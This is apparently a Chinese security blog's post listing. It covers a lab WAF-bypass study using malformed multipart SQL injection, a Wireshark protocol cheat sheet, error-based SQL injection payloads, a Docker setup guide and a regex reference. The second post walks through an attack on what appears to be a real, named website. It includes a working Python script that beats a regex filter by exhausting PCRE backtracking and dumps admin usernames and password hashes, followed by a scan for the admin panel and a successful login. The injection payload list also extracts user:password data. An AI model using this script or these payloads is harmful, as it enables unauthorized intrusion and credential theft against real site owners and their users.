作者: danchengjie

  • 雷池 WAF POST 型 SQL 注入绕过研究:multipart 差异化解析实战

    作者:xiaodan
    环境:本地虚拟机靶场(sqli-labs Less-11)+ 雷池 WAF 个人版
    声明:本文所有测试均在自建靶场环境中完成,严禁用于未授权目标。


    一、环境搭建

    1.1 整体拓扑

    物理机(Burp Suite)
        │
        ▼
    虚拟机A:雷池 WAF(反向代理模式)
        │
        ▼
    虚拟机B:宝塔面板 + sqli-labs 靶场

    1.2 组件版本

    组件版本/说明
    靶场sqli-labs Less-11(POST 登录表单)
    WAF长亭雷池 WAF 个人版
    Web服务宝塔面板 + PHP + MySQL
    测试工具Burp Suite
    域名本地解析,绑定 hosts

    1.3 雷池配置要点

    • 雷池以反向代理模式部署在靶场前
    • 防护规则开启 SQL 注入检测
    • 物理机访问域名流量经过雷池转发至后端靶场

    二、基准测试:裸 Payload 被拦截

    未做任何绕过,直接发送标准 POST SQL 注入 Payload:

    POST /Less-11/ HTTP/1.1
    Host: www.danchengjie.com
    Content-Type: application/x-www-form-urlencoded
    
    uname=1' union select 1,2#&passwd=a&submit=Submit

    结果: 雷池直接返回拦截页面,HTTP 状态码非 200,页面显示「访问已被拦截」。

    这说明雷池对标准 application/x-www-form-urlencoded 下的 SQL 注入特征检测有效。


    三、核心思路:multipart 差异化解析

    3.1 原理说明

    HTTP multipart/form-data 协议(RFC 2046)允许在一个请求体中传输多个字段,
    每个字段由 boundary 分隔,并通过 Content-Disposition 头声明字段名。

    WAF 与后端(PHP)对 multipart 的解析实现存在差异:

    • WAF 需要高速处理海量请求,解析逻辑倾向于快速、宽松
    • PHP 的 multipart 解析遵循自身实现规则,对某些异常结构有特定的容错行为

    利用这种 解析差异(Parser Differential),可以构造 WAF 无法正确识别
    但后端能正常解析的请求,从而让恶意 Payload 绕过检测。

    3.2 基础结构对比

    正常 multipart 请求结构:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname"
    
    admin
    --a--

    后续所有绕过方案均基于对这个结构的”畸形化”改造。


    四、绕过方案实战

    方案一:双 Content-Disposition + filename 欺骗(基础版)

    构造方式:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname";
    Content-Disposition: form-data; name="uname";filename="1.txt"
    Context-Type: image/png
    
    uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit
    --a
    Content-Disposition: form-data; name="passwd";
    
    Dumb
    --a
    Content-Disposition: form-data; name="submit";
    
    Submit
    --a--

    绕过逻辑:

    同一 part 内出现两行 Content-Disposition

    • 第一行带 filename="1.png" → WAF 误判为文件上传字段,跳过 SQL 注入检测
    • 第二行是标准字段声明 → PHP 按后者解析,正常取值

    结果: ✅ 成功绕过,页面返回数据库名。


    方案二:filename 参数 Tab 字符插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename    ="1.txt"
    Content-Disposition: form-data; name="uname"

    filename= 之间插入 \t(Tab,0x09)。

    绕过逻辑:

    WAF 在解析参数名时,遇到 filename\t= 可能无法识别为合法的
    filename 属性,导致整个 part 的语义解析出错,进而跳过检测。
    PHP 对 Tab 字符更宽容,能正确提取 filename 并按文件字段处理第一行,
    以第二行 name="uname" 作为字段名正常赋值。

    结果: ✅ 成功绕过。


    方案三:filename 参数空格插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename ="1.txt"
    Content-Disposition: form-data; name="uname"

    与方案二类似,在 filename= 之间插入普通空格(0x20)。

    绕过逻辑:

    部分 WAF 的参数解析器使用严格匹配,filename =(带空格)不匹配
    预期的 filename=,导致整个 filename 属性被忽略,field 被误判为
    普通文本字段而非文件上传字段,进而放行了包含 Payload 的内容。
    PHP 的解析器对此空格具有容错性,仍能识别为文件字段。

    结果: ✅ 成功绕过。


    方案四:name 值内嵌 \0 空字节截断

    构造方式(关键行):

    Content-Disposition: form-data; name="uname\0";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    在第一行 name 的值中,uname 后插入空字节(\0,0x00)。

    绕过逻辑:

    WAF 在提取字段名时,遇到 \0 可能发生截断或解析错误,
    导致无法正确关联字段名与 Payload,检测逻辑失效。
    PHP 底层 C 实现中字符串以 \0 结尾,提取 name 时截断为 uname
    第二行正常赋值,后端逻辑完全正常执行。

    结果: ✅ 成功绕过。


    方案五:Content-Disposition 头名称后插入 \0

    构造方式(关键行):

    Content-Disposition\0:form-data; name="uname";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    不是在值里加 \0,而是在头部名称的末尾、冒号之前插入 \0

    绕过逻辑:

    WAF 解析 HTTP 头时,Content-Disposition\0 不匹配标准头名称,
    可能将整行视为非法头而忽略,导致 WAF 看不到这一行的 filename 声明,
    无法识别文件上传语义,检测逻辑完全跳过这个 part。
    PHP 的 multipart 解析器在处理 body 时有独立逻辑,对这个 \0
    的处理方式与 WAF 不同,仍能提取到 filename 并按预期解析。

    结果: ✅ 成功绕过。


    方案六:混合 Content-Type(双类型声明)

    构造方式(关键头):

    Content-Type: application/x-www-form-urlencoded;multipart/form-data;boundary=a;

    将两种 Content-Type 写在同一行,同时在 body 中使用 multipart 结构,
    Payload 以 &uname= 前缀写在 part 的 body 区域内。

    绕过逻辑:

    WAF 遇到非标准的混合 Content-Type 时,可能优先按
    application/x-www-form-urlencoded 解析 body,
    在 URL 编码格式中找不到完整的 SQL 注入特征(因为内容是 multipart 格式),
    检测失效。PHP 实际优先识别 multipart/form-data 并找到 boundary,
    按 multipart 规则正常解析出字段和值。

    结果: ✅ 成功绕过。


    五、绕过手法汇总

    编号方案核心变异点绕过原理
    1双 Content-Disposition + filenamefilename=”1.png” 欺骗WAF 误判文件上传字段
    2filename 参数 Tab 截断filename\t=WAF 参数名解析失败
    3filename 参数空格插入filename =WAF 严格匹配失效
    4name 值 \0 截断name="uname\0"WAF 字段名提取异常
    5头名称后插 \0Content-Disposition\0:WAF 忽略非法头名
    6混合 Content-Type双类型声明WAF 解析类型判断错误

    六、总结与思考

    6.1 核心结论

    本次研究验证了一个核心命题:WAF 的安全性建立在其与后端解析行为一致的假设上, 一旦二者出现 Parser Differential,WAF 的检测就会失效。

    multipart/form-data 协议本身定义较为宽松,RFC 2046 对很多边界情况
    没有明确规定,给了不同实现各自发挥的空间,这正是此类绕过长期存在的根本原因。

    6.2 防御建议

    对于 WAF 厂商:

    • 对 multipart 解析应与主流后端(PHP/Java/Python)的实际行为严格对齐
    • 对畸形的 Content-Disposition(重复、含特殊字符)应直接拒绝而非忽略
    • 对混合 Content-Type 应采取保守策略,疑似异常请求一律拦截

    对于开发者:

    • 后端应对上传字段做严格的类型和内容校验,不依赖 WAF 作为唯一防线
    • 敏感接口建议在应用层做二次输入过滤

    6.3 延伸方向

    • HTTP/2 的 multipart 解析差异
    • JSON 嵌套结构的解析差异绕过
    • Chunked Transfer Encoding 分块传输绕过
    • 参考:RFC 2046、OWASP WAF Bypass、先知社区相关议题

    本文所有实验均在自建本地靶场完成,域名已做本地 hosts 解析,
    不涉及任何真实线上系统。如需复现,请自行搭建合法测试环境。
    “`


  • 1000000正则回溯绕过正则实现SQL注入

    信息收集

    发现GET注入点

    首先在 news_list.php 发现 GET 参数 cid 存在 SQL 注入:

    http://www.cqzszy.com.cn/news_list.php?cid=11 and updatexml(1,concat(0x7e,user(),0x7e),1)

    响应返回:

    XPATH syntax error: '~qzy_cqzszy@localhost~'

    成功获取数据库用户信息。

    image-20260302151226510

    分析

    通过测试推测 正则 过滤规则:

    Payload结果分析
    select 1成功回显select 单独不被过滤
    from 1报错回显from 单独不被过滤
    select 1 from dual空白回显select...from 组合被过滤

    结论:WAF 使用正则 select(.*)from 过滤,单独的 select 或 from 不被拦截,只有组合时才触发过滤。

    GET注入的问题

    尝试正则回溯绕过,构造超长 Payload:

    URL length: 100224
    Response: 414 Request-URI Too Large

    问题:URL 长度超过服务器限制,无法使用 GET 请求。

    寻找POST注入点

    由于 GET 请求长度限制,需要寻找 POST 注入点。在网站功能页面发现:

    POST /order_sell.php HTTP/1.1
    Host: www.cqzszy.com.cn
    Content-Type: application/x-www-form-urlencoded
    
    p1=1&m1=0&t1=0&...&bs=1'&ac=sell

    测试参数 bs 存在注入:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1772425757')' at line 1
    image-20260302151304796

    绕过思路探索

    尝试的绕过方法

    在发现正则回溯之前,尝试了多种绕过方式:

    换行符打断正则

    select%0a1%0afrom dual
    select%0b1%0bfrom dual

    注释打断正则

    select/**/1/**/from/**/dual

    内联注释

    select/*!*/1/*!*/from/*!*/dual
    select/*!50000*/1/*!50000*/from/*!50000*/dual

    大小写混合

    SeLeCt 1 FrOm dual

    双写绕过

    selselectect 1 frfromom dual

    空字节截断

    sel%00ect 1 fr%00om dual

    预处理语句

    set @a=concat('sel','ect 1 fr','om dual');prepare stmt from @a;execute stmt;

    替代语句

    show tables
    handler table_name open

    结果:以上方法全部失败,返回空白回显。

    正则回溯原理

    PHP PCRE 默认回溯限制为 100 万次。当正则 select(.*)from 匹配超长字符串时:

    1. .* 贪婪匹配到字符串末尾
    2. 回溯查找 from
    3. 回溯次数超过限制,preg_match 返回 false
    4. WAF 判断失效,放行请求

    构造Payload

    关键:用注释 /**/ 包裹垃圾字符

    select/*{100万字符}*/column from/*{100万字符}*/table
    • MySQL 忽略注释,正常执行 SQL
    • WAF 正则匹配超时,绕过成功

    注入过程

    Python脚本

    import requests
    import re
    
    url = "http://www.cqzszy.com.cn/order_sell.php"
    junk = "a" * 1000000
    
    
    def inject(payload_str):
    payload = {
    "Submit": "提交交易信息", "ac": "sell",
    "bs": payload_str,
    "c1": "1", "c2": "1", "c3": "1", "c4": "1", "c5": "1", "c6": "1", "c7": "1",
    "lang": "cn", "m1": "0", "m2": "0", "m3": "0", "m4": "0", "m5": "0",
    "p1": "test", "p2": "1", "p3": "1", "p4": "1", "p5": "1",
    "t1": "0", "t2": "0", "t3": "0", "t4": "0", "t5": "0"
    }
    r = requests.post(url, data=payload, timeout=60)
    m = re.search(r"'~(.*?)~'", r.text)
    return m.group(1) if m else None
    
    
    # 获取表名
    print("=== 表名 ===")
    for i in range(20):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/table_name from/*{junk}*/information_schema.tables where table_schema=database() limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 列名
    print("\n=== zszy_admin 列名 ===")
    for i in range(10):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/column_name from/*{junk}*/information_schema.columns where table_schema=database() and table_name='zszy_admin' limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 数据 - 分开获取
    print("\n=== zszy_admin 数据 ===")
    for i in range(3):
    print(f"\n--- 第 {i + 1} 条记录 ---")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aid from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aid: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aname from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aname: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/apassword from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"apassword: {inject(sql)}")

    数据注入失败

    分段注入数据

    获取的数据

    数据库表名:

    序号表名
    0zszy_admin
    1zszy_ec_class
    2zszy_ec_goods
    3zszy_human
    4zszy_info
    5zszy_member
    6zszy_order

    管理员表列名:

    序号列名
    0aid
    1aname
    2apassword

    管理员账号密码:

    anameapassword (MD5)

    admin

    3b1c29af405bac431b8f5ae71345fdcasdav

    密码解密与后台发现

    MD5解密

    使用在线工具解密:

    • admin: 3b1c29af405bac431b8f5ae71345fvdadca → 未解出
    • leo: bf7c2c3a34f5da034b14e89486f97fda1v6 → c****e

    目录扫描

    使用 dirsearch 扫描后台:

    dirsearch -u http://www.cqzszy.com.cn -e php

    发现后台登录页面:

    [200] http://www.cqzszy.com.cn/admini/login.php

    成功登录

    访问 /admini/login.php,使用获取的凭证登录:

    • 用户名:leo
    • 密码:———

    登录成功,进入后台管理系统。

    image-20260302151432891

    总结

    攻击链

    GET注入发现 → URL长度限制 → 寻找POST注入点 → 多种绕过尝试失败 → 正则回溯绕过 → 分段获取密码 → 密码解密 → 后台扫描 → 成功登录

    关键技术点

    • GET转POST:GET请求URL长度限制,改用POST注入
    • 多种绕过尝试:换行符、注释、大小写、双写、预处理等均失败
    • 正则回溯绕过:利用 PHP PCRE 回溯限制(100万次),构造超长注释绕过 select(.*)from 正则
    • 注释包裹:垃圾字符必须用 /**/ 包裹,MySQL才能正常执行
    • 分段获取:使用 substr() 分段获取长字段,避免截断

  • Wireshark 协议全景速查手册

    适用场景:日常网络排障 / 护网行动流量分析 / 渗透测试辅助 / 安全审计
    工具版本:Wireshark 4.x(所有下列协议均原生支持解析)


    一、数据链路层(二层)

    局域网内设备间的帧传输与物理寻址,是所有上层协议的底层载体。

    协议核心特点典型用途
    Ethernet最主流有线局域网协议,基于 MAC 地址寻址,支持单播 / 组播 / 广播,兼容性极强家庭 / 企业有线网络底层传输
    ARP / RARP实现 IP 与 MAC 地址的互相映射,明文广播传输,无认证机制局域网设备通信、排查 IP 冲突、检测 ARP 欺骗攻击
    802.11 (WiFi)无线局域网标准,包含管理 / 控制 / 数据三类帧,支持 WPA2 / WPA3 加密WiFi 网络抓包、排查无线掉线 / 信号干扰
    PPPoE以太网上的点对点协议,支持身份认证与加密家庭宽带拨号上网、运营商专线接入

    ⚠️ 护网关注点: ARP 无认证的特性使其成为局域网内中间人攻击(ARP 欺骗)的常见入口,护网期间应重点监控异常 ARP 广播风暴。


    二、网络层(三层)

    负责跨网段的全局寻址与路由转发,实现端到端的跨网络通信。

    协议核心特点典型用途
    IPv4 / IPv6互联网核心协议,基于 IP 地址全局寻址;IPv4 为 32 位(当前主流),IPv6 为 128 位(解决地址枯竭问题)所有互联网通信的基础
    ICMP / ICMPv6无连接控制消息协议,封装于 IP 包内,用于差错报告与网络探测ping 连通性测试、traceroute 路由追踪、排查丢包 / 延迟
    OSPF / BGP动态路由协议:OSPF 用于内网自治系统,BGP 用于全球互联网骨干网企业 / 运营商路由配置,排查路由环路 / 不可达

    ⚠️ 护网关注点: ICMP 常被用于隐蔽信道(ICMP Tunnel),护网期间需关注异常大包或高频 ICMP 流量;BGP 劫持可导致流量被重定向。


    三、传输层(四层)

    负责端到端的通信控制与端口寻址,区分同一设备上的不同应用进程。

    协议核心特点典型用途
    TCP面向连接、可靠传输,三次握手建立连接,支持确认重传 / 拥塞控制 / 流量控制HTTP/HTTPS、SSH、数据库通信等需要可靠性的场景
    UDP无连接、不可靠传输,无握手 / 重传机制,延迟极低、开销极小DNS、视频直播、游戏、语音通话、QUIC 底层传输
    SCTP面向消息、多流并行、多宿主支持,兼顾 TCP 可靠性与 UDP 低延迟5G 信令、金融交易、工控系统等高可用场景

    ⚠️ 护网关注点: TCP SYN Flood 是最常见的 DDoS 手段;UDP 常被用于流量放大攻击(DNS / NTP 放大);大量 SYN_SENT 半连接状态需重点排查。


    四、应用层(七层)

    直接承载用户业务数据,是抓包分析业务问题与安全事件的核心层。

    4.1 核心 Web 与加密协议(抓包高频)

    协议核心特点典型用途
    HTTP/1.1 / 2 / 3超文本传输协议:1.1 为文本格式串行传输;2 为二进制多路复用;3 基于 QUIC 无队头阻塞网页浏览、APP / 小程序接口调用
    TLS 1.2 / 1.3传输层安全协议,实现数据加密、身份认证、完整性校验;TLS 1.3 握手更快、安全性更强HTTPS 加密、邮件、VPN、金融接口等一切安全通信
    QUIC基于 UDP + TLS 1.3,内置 0-RTT / 1-RTT 快速握手,支持连接迁移、抗丢包HTTP/3、短视频 / 直播、移动端 APP
    SOCKS5 / SOCKS4传输层代理协议:SOCKS5 支持 TCP/UDP、认证、IPv6;SOCKS4 仅支持 TCP代理穿透、内网横移、游戏加速
    HTTPS 代理基于 HTTP CONNECT 方法建立隧道,兼容性好,主要代理 HTTPS / TCP 流量企业内网代理、Burp / Charles / Fiddler 抓包

    4.2 通用基础协议

    协议核心特点典型用途
    DNS域名解析协议,默认 UDP 53 端口,大报文走 TCP域名与 IP 互转,排查解析失败 / DNS 劫持
    DHCP动态主机配置协议,基于 UDP,自动分配 IP / 网关 / DNS局域网设备自动获取网络配置
    SSH加密远程管理协议,基于 TCP 22 端口,替代明文 Telnet服务器安全登录、SFTP 加密文件传输
    FTP / SFTP文件传输协议:FTP 明文传输,SFTP 基于 SSH 加密服务器文件上传下载、数据备份
    NTP网络时间协议,基于 UDP 123 端口,实现高精度时间同步服务器 / 设备时间校准
    SMTP / POP3 / IMAP邮件协议三件套:SMTP 发信,POP3 / IMAP 收信企业 / 个人电子邮件收发

    4.3 内网与远程办公协议

    协议核心特点典型用途
    RDPWindows 远程桌面协议,默认 TCP 3389 端口,支持加密与外设重定向Windows 设备图形化远程管理
    SMB / CIFSWindows 文件共享协议,默认 TCP 445 端口局域网文件 / 打印机共享

    ⚠️ 护网关注点: RDP 3389 和 SMB 445 是护网期间最高频的攻击入口,永恒之蓝(EternalBlue)即利用 SMB 漏洞传播,应重点监控这两个端口的异常连接。


    五、专用扩展协议

    类别代表协议核心用途
    VPN 隧道IPSec、OpenVPN、WireGuard加密跨网隧道通信,排查 VPN 连接故障
    数据库MySQL、PostgreSQL、Redis数据库通信抓包,排查慢查询 / 连接超时
    物联网MQTT、CoAP智能家居 / 传感器设备通信,低功耗适配
    流媒体RTP / RTMP / SIP视频会议、直播、监控,排查卡顿 / 花屏
    工控Modbus、S7、Profinet工业设备通信,工控安全审计与故障排查

    六、关键注意事项

    6.1 加密协议解析限制

    TLS / QUIC / SSH 等加密协议默认仅能解析握手阶段,无法查看加密后的业务数据。

    解密方式:

    • 浏览器流量:配置 SSLKEYLOGFILE 环境变量,将会话密钥导出后在 Wireshark 中加载
    • 自签证书应用:导入私钥至 Wireshark(编辑 → 首选项 → Protocols → TLS
    • QUIC:同样依赖 SSLKEYLOG,需 Wireshark 4.0+ 版本支持

    6.2 三种代理协议对比

    维度SOCKS5SOCKS4HTTPS 代理
    传输层支持TCP + UDP仅 TCP仅 TCP
    认证支持✅(Basic Auth)
    IPv6 支持
    适用场景游戏 / 穿透 / 通用逐步淘汰网页 / 抓包工具

    6.3 护网抓包优先级建议

    高优先级监控端口:
      445  (SMB)      → 勒索软件 / 横向移动
      3389 (RDP)      → 暴力破解 / 远程入侵
      53   (DNS)      → DNS 隧道 / 劫持
      80/443 (HTTP/S) → Web 攻击 / C2 通信
      22   (SSH)      → 暴力破解 / 后门连接
    
    异常流量特征:
      · 单 IP 高频 SYN(端口扫描)
      · 大量 ICMP 大包(隐蔽信道)
      · 非常规端口的加密流量(C2 隐匿)
      · 内网设备主动外联陌生 IP

  • 报错注入7大常用函数

    1.ST_LatFromGeoHash()(mysql>=5.7.x)

    payload

    and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    2.ST_LongFromGeoHash(mysql>=5.7.x)

    payload

    #同 8 ,都使用了嵌套查询

    and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    3.GTID (MySQL >= 5.6.X – 显错<=200)

    0x01 GTID

    GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

    GTID_SUBSET() 和 GTID_SUBTRACT()函数

    0X02 函数详解

    GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

    GTID_SUBSET( set1 , set2 ) – 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) – 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

    0x03 注入过程( payload )

    GTID_SUBSET函数
    ​') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+


    GTID_SUBTRACT

    ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

    函数都是那样,只是适用的版本不同

    4.floor(8.x>mysql>5.0)

    获取数据库版本信息

    ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取当前数据库

    ')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取表数据

    ')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取users表里的段名

    ')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    5.ST_Pointfromgeohash (mysql>=5.7)

    获取数据库版本信息

    ')or ST_PointFromGeoHash(version(),1)--+

    获取表数据

    sql注入原因

    sql注入分类

    sql注入绕过 一部分

    sql注入防御 waf防御 过滤函数来防御 pdo

    ')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

    获取users表里的段名

    ')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

    获取字段里面的数据

    ')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

    6 updatexml

    updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

    7 extractvalue

    extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
  • ubuntu上部署docker


    第一部分:极简安装 Docker

    1. sudo apt remove docker docker-engine docker.io containerd runc
    2. sudo apt update sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg
    3. curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
    4. echo “deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable” | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
    5. sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io

    第二部分:核心难点——解决“拉取不到镜像”

    这是所有国内 Docker 初学者遇到的最大拦路虎。当你执行 docker pull 时,经常会卡住或报错 TLS handshake timeout。这是因为 Docker Hub 的官方服务器在海外。

    出现的报错示例:

    root@gx-VMware-Virtual-Platform:~# docker pull nginx Using default tag: latest Error response from daemon: failed to resolve reference "docker.io/library/nginx:latest": failed to do request: Head "https://registry-1.docker.io/v2/library/nginx/manifests/latest": dial tcp 128.242.240.117:443: connect: connection refused

    针对这个问题,我为你整理了三种不同层级的解决方案:

    方案一:配置国内镜像加速器(基础方案)

    这是最常规的方法,但近期国内很多镜像站(如阿里云、网易等)经常不稳定。建议优先尝试,不行再换方案二。

    1. 创建或修改配置文件:(用vim编辑也可,只是需要apt-get install vim)sudo mkdir -p /etc/docker
      sudo nano /etc/docker/daemon.json
    2. 在文件中粘贴以下内容(这里提供几个目前相对可用的):{
      "registry-mirrors": [
        "https://docker.m.daocloud.io",
        "https://huecker.io",
        "https://dockerhub.timeweb.cloud"
      ]
      }
    3. 保存退出(按 Ctrl+O 回车,再按 Ctrl+X)。
    4. 重启 Docker 服务让配置生效:sudo systemctl daemon-reload
      sudo systemctl restart docker

    方案二:配置 Docker 代理(进阶稳妥方案)

    如果你有自己的 VPN 或代理节点(比如你的物理机上开了代理,或者局域网内有代理服务器),让 Docker 走代理是最稳的。

    注意: Docker 拉取镜像不走系统环境变量的代理,必须单独配置 systemd。

    1. 创建配置目录:sudo mkdir -p /etc/systemd/system/docker.service.d
    2. 创建代理文件:sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf
    3. 粘贴以下内容(假设你的代理在 192.168.1.100 的 7890 端口,请根据实际情况修改):[Service]
      Environment="HTTP_PROXY=http://192.168.1.100:7890"
      Environment="HTTPS_PROXY=http://192.168.1.100:7890"
    4. 重启服务:sudo systemctl daemon-reload
      sudo systemctl restart docker

    第三部分:渗透测试常用 Docker 操作速查

    搭建好环境后,我们来实战。不讲虚的,只讲你做实验、搭靶场最常用的命令。

    1. 概念速解

    • 镜像 (Image): 相当于“光盘”或“安装包”。(只读的)
    • 容器 (Container): 相当于“运行起来的系统”。(可读写的)

    2. 只有 5 个命令的“生存指南”

    假设我们要搭建一个 nginx web服务器做测试。

    Step 1: 运行容器 (Run)

    格式: docker run -d -p [宿主机端口]:[容器内部端口] --name [起个名字] [镜像名]

    sudo docker run -d -p 8080:80 --name my-web nginx
    • -d: 后台运行(不占用你当前的终端)。
    • -p 8080:80: 最关键!把你的 Ubuntu 的 8080 端口映射给容器的 80 端口。
    • 测试: 打开浏览器访问 http://localhost:8080,你应该能看到 Nginx 欢迎页。

    Step 2: 查看正在运行的容器 (Ps)

    sudo docker ps
    • 你能看到容器 ID、状态、端口映射情况。如果不加参数,只显示运行中的;docker ps -a 显示所有的。

    Step 3: 进入容器内部 (Exec)

    这就好比 SSH 连进了一台虚拟机,适合进去修改配置文件或查看 Flag。

    格式: docker exec -it [容器名/ID] /bin/bash
    sudo docker exec -it my-web /bin/bash
    • 退出容器输入 exit 即可。

    Step 4: 停止与启动 (Stop/Start)

    sudo docker stop my-web  # 关机
    sudo docker start my-web # 开机

    Step 5: 删除容器 (Rm)

    做完实验,清理现场。

    sudo docker stop my-web  # 先停止
    sudo docker rm my-web   # 再删除
    如果想连镜像也删了: docker rmi nginx

    第四部分:常见“坑点”排雷指南

    坑点 2:端口冲突 (Bind for 0.0.0.0:xx failed)

    现象: 运行容器时报错:port is already allocated。

    原因: 你指定的宿主机端口(冒号左边的端口)已经被别的程序占用了。

    解决: 换个端口。比如原命令是 -p 80:80,改成 -p 8081:80 即可。

    坑点 3:名字冲突 (The container name “/xxx” is already in use)

    现象: 再次运行同一个 docker run 命令报错。

    原因: 即使容器停止了,它还在那躺着(类似关机的电脑)。你不能创建一个同名的新容器。

    解决:

    1. 删除旧的:docker rm [容器名]
    2. 或者给新的容器起个不同的名字:--name my-web-2
  • regex

    表达式全集

    字符描述
    \将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。例如,“n”匹配字符“n”。“\n”匹配一个换行符。串行“\”匹配“\”而“(”则匹配“(”。
    ^匹配输入字符串的开始位置。如果设置了RegExp对象的Multiline属性,^也匹配“\n”或“\r”之后的位置。
    $匹配输入字符串的结束位置。如果设置了RegExp对象的Multiline属性,$也匹配“\n”或“\r”之前的位置。
    *匹配前面的子表达式零次或多次。例如,zo能匹配“z”以及“zoo”。等价于{0,}。
    +匹配前面的子表达式一次或多次。例如,“zo+”能匹配“zo”以及“zoo”,但不能匹配“z”。+等价于{1,}。
    ?匹配前面的子表达式零次或一次。例如,“do(es)?”可以匹配“does”或“does”中的“do”。?等价于{0,1}。
    {n}n是一个非负整数。匹配确定的n次。例如,“o{2}”不能匹配“Bob”中的“o”,但是能匹配“food”中的两个o。
    {n,}n是一个非负整数。至少匹配n次。例如,“o{2,}”不能匹配“Bob”中的“o”,但能匹配“foooood”中的所有o。“o{1,}”等价于“o+”。“o{0,}”则等价于“o*”。
    {n,m}m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次。例如,“o{1,3}”将匹配“fooooood”中的前三个o。“o{0,1}”等价于“o?”。请注意在逗号和两个数之间不能有空格。
    ?当该字符紧跟在任何一个其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串“oooo”,“o+?”将匹配单个“o”,而“o+”将匹配所有“o”。
    .匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符,请使用像“(.
    (pattern)匹配pattern并获取这一匹配。所获取的匹配可以从产生的Matches集合得到,在VBScript中使用SubMatches集合,在JScript中则使用$0…$9属性。要匹配圆括号字符,请使用“”或“”或“”。
    (?:pattern)匹配pattern但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用或字符“(
    (?=pattern)正向肯定预查,在任何匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,“Windows(?=95|98|NT|2000)”能匹配“Windows2000”中的“Windows”,但不能匹配“Windows3.1”中的“Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
    (?!pattern)正向否定预查,在任何不匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如“Windows(?!95|98|NT|2000)”能匹配“Windows3.1”中的“Windows”,但不能匹配“Windows2000”中的“Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
    (?<=pattern)反向肯定预查,与正向肯定预查类拟,只是方向相反。例如,“(?<=95|98|NT|2000)Windows”能匹配“2000Windows”中的“Windows”,但不能匹配“3.1Windows”中的“Windows”。
    (?<!pattern)反向否定预查,与正向否定预查类拟,只是方向相反。例如“(?<!95|98|NT|2000)Windows”能匹配“3.1Windows”中的“Windows”,但不能匹配“2000Windows”中的“Windows”。
    x|y匹配x或y。例如,“z|food”能匹配“z”或“food”。“(z|f)ood”则匹配“zood”或“food”。
    [xyz]字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”。
